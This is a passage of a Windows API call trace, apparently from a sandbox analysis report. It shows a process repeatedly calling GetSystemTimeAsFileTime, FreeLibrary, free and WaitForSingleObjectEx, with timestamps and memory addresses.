lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x631fc0a3, dwHighDateTime=0x1d9eb0c)) [0218.556] free (_Block=0x196ef0d1d00) [0218.557] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.558] free (_Block=0x196ef0d4e70) [0218.559] free (_Block=0x196ef0fb810) [0218.559] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6322230d, dwHighDateTime=0x1d9eb0c)) [0218.569] free (_Block=0x196ef0d1ee0) [0218.569] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.569] free (_Block=0x196ef0d4e70) [0218.570] free (_Block=0x196ef0fb220) [0218.570] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6322230d, dwHighDateTime=0x1d9eb0c)) [0218.577] free (_Block=0x196ef0d1b00) [0218.577] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.578] free (_Block=0x196ef0d4e70) [0218.578] free (_Block=0x196ef0fbbd0) [0218.578] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63248200, dwHighDateTime=0x1d9eb0c)) [0218.586] free (_Block=0x196ef0d1e60) [0218.587] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.587] free (_Block=0x196ef0d4e70) [0218.588] free (_Block=0x196ef0fbae0) [0218.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6332ce5c, dwHighDateTime=0x1d9eb0c)) [0218.686] free (_Block=0x196ef0d1fa0) [0218.686] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.687] free (_Block=0x196ef0d4e70) [0218.688] free (_Block=0x196ef0fb4f0) [0218.688] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63353211, dwHighDateTime=0x1d9eb0c)) [0218.698] free (_Block=0x196ef0d1980) [0218.698] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.698] free (_Block=0x196ef0d4e70) [0218.699] free (_Block=0x196ef0fbe50) [0218.699] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6337944f, dwHighDateTime=0x1d9eb0c)) [0218.709] free (_Block=0x196ef0d1f20) [0218.709] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.710] free (_Block=0x196ef0d4e70) [0218.710] free (_Block=0x196ef0fc080) [0218.711] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6337944f, dwHighDateTime=0x1d9eb0c)) [0218.717] free (_Block=0x196ef0d1de0) [0218.717] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.718] free (_Block=0x196ef0d4e70) [0218.718] free (_Block=0x196ef0fc170) [0218.719] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x636e699e, dwHighDateTime=0x1d9eb0c)) [0219.074] free (_Block=0x196ef0d1aa0) [0219.074] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.075] free (_Block=0x196ef0d4e70) [0219.075] free (_Block=0x196ef0fba90) [0219.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6370ce03, dwHighDateTime=0x1d9eb0c)) [0219.082] free (_Block=0x196ef0d1d60) [0219.082] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.083] free (_Block=0x196ef0d4e70) [0219.084] free (_Block=0x196ef0fba40) [0219.084] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6370ce03, dwHighDateTime=0x1d9eb0c)) [0219.096] free (_Block=0x196ef0d1de0) [0219.096] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.096] free (_Block=0x196ef0d4e70) [0219.097] free (_Block=0x196ef0fbe50) [0219.097] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63733069, dwHighDateTime=0x1d9eb0c)) [0219.103] free (_Block=0x196ef0d1de0) [0219.103] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.104] free (_Block=0x196ef0d4e70) [0219.104] free (_Block=0x196ef0fbe00) [0219.104] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63759239, dwHighDateTime=0x1d9eb0c)) [0219.111] free (_Block=0x196ef0d1fa0) [0219.112] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.112] free (_Block=0x196ef0d4e70) [0219.112] free (_Block=0x196ef0fb770) [0219.113] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63817dfe, dwHighDateTime=0x1d9eb0c)) [0219.191] free (_Block=0x196ef0d20c0) [0219.191] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.191] free (_Block=0x196ef0d4e70) [0219.192] free (_Block=0x196ef0fbc70) [0219.192] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63817dfe, dwHighDateTime=0x1d9eb0c)) [0219.200] free (_Block=0x196ef0d20e0) [0219.200] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.201] free (_Block=0x196ef0d4e70) [0219.201] free (_Block=0x196ef0fc170) [0219.201] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6383e475, dwHighDateTime=0x1d9eb0c)) [0219.209] free (_Block=0x196ef0d1ae0) [0219.209] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.209] free (_Block=0x196ef0d4e70) [0219.210] free (_Block=0x196ef0fb5e0) [0219.210] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6383e475, dwHighDateTime=0x1d9eb0c)) [0219.218] free (_Block=0x196ef0d1da0) [0219.218] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.218] free (_Block=0x196ef0d4e70) [0219.219] free (_Block=0x196ef0fb540) [0219.219] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63864491, dwHighDateTime=0x1d9eb0c)) [0219.227] free (_Block=0x196ef0d1ec0) [0219.227] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.227] free (_Block=0x196ef0d4e70) [0219.228] free (_Block=0x196ef0fc120) [0219.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x638d6a52, dwHighDateTime=0x1d9eb0c)) [0219.269] free (_Block=0x196ef0d1ee0) [0219.270] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.270] free (_Block=0x196ef0d4e70) [0219.271] free (_Block=0x196ef0fb7c0) [0219.271] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x638d6a52, dwHighDateTime=0x1d9eb0c)) [0219.277] free (_Block=0x196ef0d1bc0) [0219.277] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.278] free (_Block=0x196ef0d4e70) [0219.278] free (_Block=0x196ef0fb540) [0219.278] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x638fcd91, dwHighDateTime=0x1d9eb0c)) [0219.285] free (_Block=0x196ef0d20e0) [0219.285] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.286] free (_Block=0x196ef0d4e70) [0219.286] free (_Block=0x196ef0fba90) [0219.286] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x638fcd91, dwHighDateTime=0x1d9eb0c)) [0219.296] free (_Block=0x196ef0d1f20) [0219.296] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.297] free (_Block=0x196ef0d4e70) [0219.297] free (_Block=0x196ef0fba90) [0219.298] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63922cfe, dwHighDateTime=0x1d9eb0c)) [0219.304] free (_Block=0x196ef0d20a0) [0219.304] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.304] free (_Block=0x196ef0d4e70) [0219.305] free (_Block=0x196ef0fb310) [0219.305] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x639bb747, dwHighDateTime=0x1d9eb0c)) [0219.362] free (_Block=0x196ef0d1ee0) [0219.362] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.363] free (_Block=0x196ef0d4e70) [0219.363] free (_Block=0x196ef0fba90) [0219.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x639bb747, dwHighDateTime=0x1d9eb0c)) [0219.371] free (_Block=0x196ef0d19a0) [0219.371] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.372] free (_Block=0x196ef0d4e70) [0219.372] free (_Block=0x196ef0fb3b0) [0219.372] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63a08105, dwHighDateTime=0x1d9eb0c)) [0219.396] free (_Block=0x196ef0d1a80) [0219.396] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.396] free (_Block=0x196ef0d4e70) [0219.397] free (_Block=0x196ef0fb680) [0219.397] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63a08105, dwHighDateTime=0x1d9eb0c)) [0219.404] free (_Block=0x196ef0d2080) [0219.404] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.404] free (_Block=0x196ef0d4e70) [0219.405] free (_Block=0x196ef0fba90) [0219.405] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63a2e25d, dwHighDateTime=0x1d9eb0c)) [0219.414] free (_Block=0x196ef0d1ba0) [0219.414] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.414] free (_Block=0x196ef0d4e70) [0219.415] free (_Block=0x196ef0fb720) [0219.415] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63ac671e, dwHighDateTime=0x1d9eb0c)) [0219.484] free (_Block=0x196ef0d19a0) [0219.485] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.485] free (_Block=0x196ef0d4e70) [0219.486] free (_Block=0x196ef0fba40) [0219.486] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63aecbd1, dwHighDateTime=0x1d9eb0c)) [0219.493] free (_Block=0x196ef0d1e20) [0219.493] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.493] free (_Block=0x196ef0d4e70) [0219.494] free (_Block=0x196ef0fb9a0) [0219.494] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63aecbd1, dwHighDateTime=0x1d9eb0c)) [0219.500] free (_Block=0x196ef0d1d00) [0219.500] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.500] free (_Block=0x196ef0d4e70) [0219.501] free (_Block=0x196ef0fbdb0) [0219.501] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63b12cdc, dwHighDateTime=0x1d9eb0c)) [0219.507] free (_Block=0x196ef0d1ee0) [0219.507] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.508] free (_Block=0x196ef0d4e70) [0219.508] free (_Block=0x196ef0fb220) [0219.508] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63b38e94, dwHighDateTime=0x1d9eb0c)) [0219.518] free (_Block=0x196ef0d1b00) [0219.518] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.519] free (_Block=0x196ef0d4e70) [0219.519] free (_Block=0x196ef0fb270) [0219.519] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63bab5f7, dwHighDateTime=0x1d9eb0c)) [0219.576] free (_Block=0x196ef0d1ac0) [0219.576] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.577] free (_Block=0x196ef0d4e70) [0219.577] free (_Block=0x196ef0fbea0) [0219.577] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63bd18e0, dwHighDateTime=0x1d9eb0c)) [0219.585] free (_Block=0x196ef0d1c60) [0219.585] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.585] free (_Block=0x196ef0d4e70) [0219.586] free (_Block=0x196ef0fb900) [0219.586] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63bf7cbe, dwHighDateTime=0x1d9eb0c)) [0219.599] free (_Block=0x196ef0d1d60) [0219.599] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.599] free (_Block=0x196ef0d4e70) [0219.600] free (_Block=0x196ef0fb4a0) [0219.600] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63bf7cbe, dwHighDateTime=0x1d9eb0c)) [0219.607] free (_Block=0x196ef0d1de0) [0219.607] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.608] free (_Block=0x196ef0d4e70) [0219.608] free (_Block=0x196ef0fbd10) [0219.608] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63c1dd7a, dwHighDateTime=0x1d9eb0c)) [0219.615] free (_Block=0x196ef0d1d60) [0219.615] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.615] free (_Block=0x196ef0d4e70) [0219.616] free (_Block=0x196ef0fc170) [0219.616] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63cb66c2, dwHighDateTime=0x1d9eb0c)) [0219.685] free (_Block=0x196ef0d1de0) [0219.686] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.686] free (_Block=0x196ef0d4e70) [0219.687] free (_Block=0x196ef0fbbd0) [0219.687] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63cdca0f, dwHighDateTime=0x1d9eb0c)) [0219.700] free (_Block=0x196ef0d1e60) [0219.700] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.700] free (_Block=0x196ef0d4e70) [0219.701] free (_Block=0x196ef0fbc20) [0219.702] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63d02b25, dwHighDateTime=0x1d9eb0c)) [0219.709] free (_Block=0x196ef0d1aa0) [0219.709] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.709] free (_Block=0x196ef0d4e70) [0219.710] free (_Block=0x196ef0fbae0) [0219.711] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63d02b25, dwHighDateTime=0x1d9eb0c)) [0219.717] free (_Block=0x196ef0d1be0) [0219.717] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.718] free (_Block=0x196ef0d4e70) [0219.719] free (_Block=0x196ef0fc080) [0219.719] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63d4f01b, dwHighDateTime=0x1d9eb0c)) [0219.747] free (_Block=0x196ef0d20e0) [0219.747] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.748] free (_Block=0x196ef0d4e70) [0219.749] free (_Block=0x196ef0fbc70) [0219.749] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63e33d72, dwHighDateTime=0x1d9eb0c)) [0219.835] free (_Block=0x196ef0d1b00) [0219.836] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.837] free (_Block=0x196ef0d4e70) [0219.838] free (_Block=0x196ef0fb310) [0219.838] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63e5a2a9, dwHighDateTime=0x1d9eb0c)) [0219.846] free (_Block=0x196ef0d20c0) [0219.846] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.847] free (_Block=0x196ef0d4e70) [0219.847] free (_Block=0x196ef0fbd60) [0219.847] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63e5a2a9, dwHighDateTime=0x1d9eb0c)) [0219.856] free (_Block=0x196ef0d1e60) [0219.857] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.858] free (_Block=0x196ef0d4e70) [0219.858] free (_Block=0x196ef0fb7c0) [0219.859] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63ef2aa8, dwHighDateTime=0x1d9eb0c)) [0219.914] free (_Block=0x196ef0d1bc0) [0219.914] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.915] free (_Block=0x196ef0d4e70) [0219.916] free (_Block=0x196ef0fb5e0) [0219.916] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0219.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x63f18c96, dwHighDateTime=0x1d9eb0c)) [0219.925] free (_Block=0x196ef0d1f20) [0219.925] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0219.926] free (_Block=0x196ef0d4e70) [0219.927] free (_Block=0x196ef0fb310) [0219.928] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64023c11, dwHighDateTime=0x1d9eb0c)) [0220.046] free (_Block=0x196ef0d1d60) [0220.046] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.047] free (_Block=0x196ef0d4e70) [0220.047] free (_Block=0x196ef0fb450) [0220.048] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x640bc590, dwHighDateTime=0x1d9eb0c)) [0220.106] free (_Block=0x196ef0d1a20) [0220.106] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.107] free (_Block=0x196ef0d4e70) [0220.108] free (_Block=0x196ef0fbc70) [0220.108] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x640e2cf9, dwHighDateTime=0x1d9eb0c)) [0220.116] free (_Block=0x196ef0d1f60) [0220.116] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.117] free (_Block=0x196ef0d4e70) [0220.118] free (_Block=0x196ef0fbae0) [0220.118] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x64109152, dwHighDateTime=0x1d9eb0c)) [0220.138] free (_Block=0x196ef0d1960) [0220.138] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.139] free (_Block=0x196ef0d4e70) [0220.140] free (_Block=0x196ef0fb680) [0220.140] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x641a137d, dwHighDateTime=0x1d9eb0c)) [0220.200] free (_Block=0x196ef0d20a0) [0220.200] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.201] free (_Block=0x196ef0d4e70) [0220.202] free (_Block=0x196ef0fb220) [0220.202] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x641c7715, dwHighDateTime=0x1d9eb0c)) [0220.208] free (_Block=0x196ef0d1ac0) [0220.208] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.209] free (_Block=0x196ef0d4e70) [0220.210] free (_Block=0x196ef0fbea0) [0220.210] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x641c7715, dwHighDateTime=0x1d9eb0c)) [0220.220] free (_Block=0x196ef0d1f60) [0220.220] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0220.221] free (_Block=0x196ef0d4e70) [0220.222] free (_Block=0x196ef0fb400) [0220.222] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0220.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x641ed8d4, 